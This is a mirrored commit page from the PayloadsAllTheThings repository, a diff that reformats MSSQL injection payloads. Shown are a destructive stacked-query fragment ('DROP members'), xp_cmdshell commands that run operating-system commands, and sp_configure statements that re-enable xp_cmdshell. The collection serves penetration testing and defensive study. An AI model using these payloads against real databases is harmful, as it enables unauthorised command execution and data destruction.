gitea-mirror/PayloadsAllTheThings
1
0
Fork 0
mirror of https://github.com/swisskyrepo/PayloadsAllTheThings.git synced 2026-01-06 17:53:28 -08:00
Code Issues Packages Projects Releases Wiki Activity

Merge pull request #37 from marcan2020/patch-1

Browse Source 
Update MSSQL Command execution
This commit is contained in:
Swissky
2019-01-29 23:14:09 +01:00
committed by GitHub
parent 20bf52eb6a 7068cb6edc
commit ffde81e2c0
1 changed files with 6 additions and 6 deletions
Download Patch File Download Diff File Expand all files Collapse all files

12
SQL injection/MSSQL Injection.md
View File

@@ -124,17 +124,17 @@ ProductID=1; DROP members--
```sql
EXEC xp_cmdshell "net user";
EXEC master.dbo.xp_cmdshell 'cmd.exe dir c:'
EXEC master.dbo.xp_cmdshell 'ping 127.0.0.1'
EXEC master.dbo.xp_cmdshell 'cmd.exe dir c:';
EXEC master.dbo.xp_cmdshell 'ping 127.0.0.1';
```
If you need to reactivate xp_cmdshell (disabled by default in SQL Server 2005)
```sql
EXEC sp_configure 'show advanced options',1
RECONFIGURE
EXEC sp_configure 'xp_cmdshell',1
RECONFIGURE
EXEC sp_configure 'show advanced options',1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell',1;
RECONFIGURE;
```
## MSSQL Make user DBA (DB admin)